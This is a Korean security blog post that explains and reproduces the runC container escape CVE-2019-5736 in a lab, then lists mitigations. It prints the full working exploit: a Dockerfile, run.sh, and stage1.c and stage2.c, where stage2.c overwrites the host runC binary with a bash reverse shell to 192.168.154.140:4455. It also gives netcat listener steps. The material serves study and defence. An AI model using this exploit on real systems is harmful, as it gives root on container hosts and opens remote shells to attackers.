[컨테이너 보안] 2-2장. 컨테이너 탈출 (CVE-2019-5736)
작성자 - S1ON개요
컨테이너가 대중화되기 시작한 시점에서 가장 크리티컬했으며 컨테이너 탈출의 시작을 알린 취약점은 CVE-2019-5736 이라고 할 수 있다. 해당 취약점을 재현해보고 컨테이너의 기반 기술인 runC에 존재하는 취약점을 악용하여 컨테이너를 탈출해보자.
runC란?
runC는 container의 생성/실행 등을 위한 기본적인 CLI 도구이며 Docker, containerd, Podman 및 CRI-O가있는 컨테이너의 저수준 컨테이너 런타임으로 사용된다.
[저수준(Low-level) 컨테이너 런타임
| OCI Runtime으로 부르기도 하는 Low Level Container Runtime은 오로지 컨테이너를 실행하는 기능만 제공한다 컨테이너는 linux namespace와 cgroups를 통해 구현된다. linux namespace는 시스템 리소스(Filesystem, Network 등)를 가상화하고, cgroups는 컨테이너 안에서 사용할 수 있는 리소스의 양을 제한하는데 사용된다. 저수준 컨테이너 런타임은 이러한 namespace와 cgroup을 설정한 다음 해당 namespace 및 cgroup 내에서 명령을 실행한다. lmctfy, rkt, railcar 등 다양한 Low Level Container Runtime이 존재했지만, 현재 OCI 표준 스펙을 지키면서 살아남은 건 많지않으며 runC가 사실상 시장을 지배했다고 보면 된다. |
CVE-2019-5736 취약점 소개
해당 취약점은 컨테이너가 호스트의 runC 바이너리를 덮어씌워 호스트의 권한으로 임의 코드실행이 가능한 취약점으로
docker 18.09.2 이전 버전의 docker 및 기타 제품에서 사용된 runc 0.1.1 ~ 1.0-rc6 버전에서 동작한다.

취약점의 공격 순서는 다음과 같다.
1. runC는 컨테이너에 사용자가 요청한 명령을 실행하는 작업을 담당하는데 runC를 실행하면 init이라는 하위 프로세스가 생성되며 컨테이너는 독립적인 가상환경을 만든다. 그 후 컨테이너에 있는 runC init 프로세스가 syscall.Exec() 함수를 호출하여 사용자가 요청한 명령을 자신에게 덮어쓰도록 한다.

2. 공격자는 runC init이 사용자가 요청한 명령을 자신에게 덮어쓸 때 /proc/[runc-pid]/exe로 덮어쓰도록 하여 스스로를 실행시킬 수 있다. runC는 일반적으로 호스트 루트 권한으로 실행되기 때문에 이를 악용하면 임의 코드실행이 가능하다.
* /proc/[pid]/exe는 프로세스가 실행 중인 실행 파일에 대한 심볼릭 링크이다.
CVE-2019-5736 취약 환경
| 제품 | 버전 |
| OS | Ubuntu 18.04 |
| SW | Docker 18.06 |
1. 먼저 취약한 버전의 도커(18.06.1-ce)를 설치해준다.
| #apt-get update #apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common -y #curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg #apt-get update #apt install docker-ce=18.06.1~ce~3-0~ubuntu |
2. 도커가 정상적으로 설치되었는지 버전을 확인해보자.
| root@ubuntu:~# docker version Client: Version: 18.06.1-ce API version: 1.38 Go version: go1.10.3 Git commit: e68fc7a Built: Tue Aug 21 17:24:51 2018 OS/Arch: linux/amd64 Experimental: false Server: Engine: Version: 18.06.1-ce API version: 1.38 (minimum version 1.12) Go version: go1.10.3 Git commit: e68fc7a Built: Tue Aug 21 17:23:15 2018 OS/Arch: linux/amd64 Experimental: false |
CVE-2019-5736 취약점 재현
1. github에 올라와있는 취약점 PoC 코드를 다운받아준다.
| https://github.com/agppp/cve-2019-5736-poc |

2. 다운로드 받은 PoC 코드를 일부 수정해준다.
| [stage2.c]-------------------- ADD #include <string.h> #include <unistd.h> Edit ip를 공격자의 ip로 수정 ------------------------------- |
| [run.sh]----------------------- cd /root/libseccomp-2.3.1 => 2.5.1 ------------------------------- |
3. 다운로드받은 PoC의 도커파일을 이용하여 cve 라는 이름의 도커 이미지 빌드 및 컨테이너를 생성한다.
| #docker build -t cve . #docker run -t -d --name cvetest cve #docker exec -it cvetest /bin/bash |
4.호스트의 docker-runc 바이너리가 덮어씌워지기 전 파일을 백업한다.
| #cp /usr/bin/docker-runc /usr/bin/docker-runc.bak |
5. 공격자 PC에서 netcat으로 4455 포트를 오픈한다.
| #nc -nlvvp 4455 |

6. 생성된 컨테이너를 실행하고, 컨테이너 내부로 복사된 /run.sh 파일을 실행한다.
| #docker exec -it cvetest /bin/bash [container]#/root/run.sh && exit |
7. 호스트에서 컨테이너를 다시 실행하면, 호스트 환경에서 공격자 PC로 netcat 연결을 시도한다.
| #docker exec -it cvetest /bin/bash |

8.쉘에서 docker-runc 바이너리 파일이 공격자 PC로 netcat 연결을 시도하는 명령어로 덮어씌워진 것을 확인할 수 있다.

CVE-2019-5736 취약점 분석
1. Dockerfile
RUN 명령을 통해 C파일을 컴파일하기 위한 build-essential 패키지와 runC 런타임 시 공유 라이브러리 동적 링크를 위한 libseccomp 라이브러리를 다운로드 한다. 그리고 ADD 명령을 통해 stage1.c 파일과 stage2.c 파일, run.sh 파일을 복사하고 run.sh 파일의 권한을 777로 부여한다.
FROM ubuntu:18.04
RUN set -e -x ;\
sed -i 's,# deb-src,deb-src,' /etc/apt/sources.list ;\
apt -y update ;\
apt-get -y install build-essential ;\
cd /root ;\
apt-get -y build-dep libseccomp ;\
apt-get source libseccomp
ADD stage1.c /root/stage1.c
ADD stage2.c /root/stage2.c
ADD run.sh /root/run.sh
RUN set -e -x ;\
chmod 777 /root/run.sh
2. run.sh
다운받은 libseccomp 라이브러리 소스에 stage1.c를 추가시켜 빌드한다. stage1.c는 악성코드를 담은 생성자로 main보다 먼저 실행된다. stage1.c는 동적 링커가 라이브러리를 runC 프로세스로 로드한 후 실행하므로 /proc/self/exe에서 호스트의 runC 바이너리에 접근할 수 있다.
run.sh가 실행되면 stage2.c 소스파일이 빌드되고, /bin/bash 파일 내용이 #!/proc/self/exe로 덮어 씌워진다. /proc/self/exe는 프로세스가 실행 중인 파일에 대한 심볼릭 링크이기 때문에 기존의 /bin/bash가 아닌 호스트의 runC 바이너리를 링크하게 된다.
#!/bin/bash
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
3. stage1.c
현재 실행 중인 runC 바이너리를 수정하기 위해서는 runC 프로세스가 종료되어야 한다. 하지만 runC 프로세스가 종료되면 /proc/[runc-pid]/exe가 사라져 runC 바이너리를 참조할 수 없다. 그래서 stage1.c에서는 /proc/self/exe를 읽기 전용으로 열어서 /usr/bin/docker-run 파일 디스크립터를 생성 후 stage2.c의 인자로 전달한다.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
__attribute__ ((constructor)) void foo(void)
{
int fd = open("/proc/self/exe", O_RDONLY);
if (fd == -1 ) {
printf("HAX: can't open /proc/self/exe\n");
return;
}
printf("HAX: fd is %d\n", fd);
char *argv2[3];
argv2[0] = strdup("/stage2");
char buf[128];
snprintf(buf, 128, "/proc/self/fd/%d", fd);
argv2[1] = buf;
argv2[2] = 0;
execve("/stage2", argv2, NULL);
}
4. stage2.c
stage1.c에서 전달받은 파일 디스크럽터를 통해 호스트의 runC 바이너리 수정을 시도한다. 그리고 runC가 종료되는 시점에 runC 바이너리를 PoC 코드로 덮어씌운다.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include<string.h>
#include<unistd.h>
int main(int argc, char **argv) {
printf("HAX2: argv: %s\n", argv[1]);
int res1 = -1;
int total = 10000;
while(total>0 && res1== -1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
printf("HAX2: fd: %d\n", fd);
const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.154.140/4455 0>&1 &\n";
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
res1 = res;
total--;
}
}
CVE-2019-5736 취약점 대응 방안
1. 취약 버전 패치
| docker 18.09.2 이상 버전으로 패치 > 패치된 runC에서는 컨테이너 실행 시 runC 바이너리의 임시 복사본을 생성하여 기존 취약점 동작 시 바이너리 복사본을 변조하게 되며, 원본 바이너리 파일은 보호된다. |
2. 읽기 전용의 runC를 사용
| 호스트의 runC 바이너리가 읽기 전용으로 설정된 경우, runC를 덮어쓸 수 없음 |
3. Privileged Container 미사용
| 컨테이너의 uid 0에 호스트의 낮은 권한을 가진 새로운 사용자 namespace를 사용하면 runC 바이너리에 대한 쓰기 액세스를 방지할 수 있음 |
4. Docker 컨테이너에서 SELinux 사용
| SELinux가 활성화된 도커 컨테이너를 사용하면 컨테이너 내부의 프로세스가 호스트 docker-runC 바이너리를 덮어쓰는 것을 방지할 수 있음 |
'Season 1 > 기술 보안' 카테고리의 다른 글
| PHP Filter Chain 기법 - 1 (0) | 2023.01.31 |
|---|---|
| 리버싱 기초(EQST LMS) (0) | 2022.12.30 |
| [ Android ] 기초 정리 - Application 주요 구성 요소 (0) | 2022.12.08 |
| [ Android ] Activity Life Cycle (0) | 2022.12.08 |
| [ Android ] 기초 정리 - APK 구조 (0) | 2022.12.08 |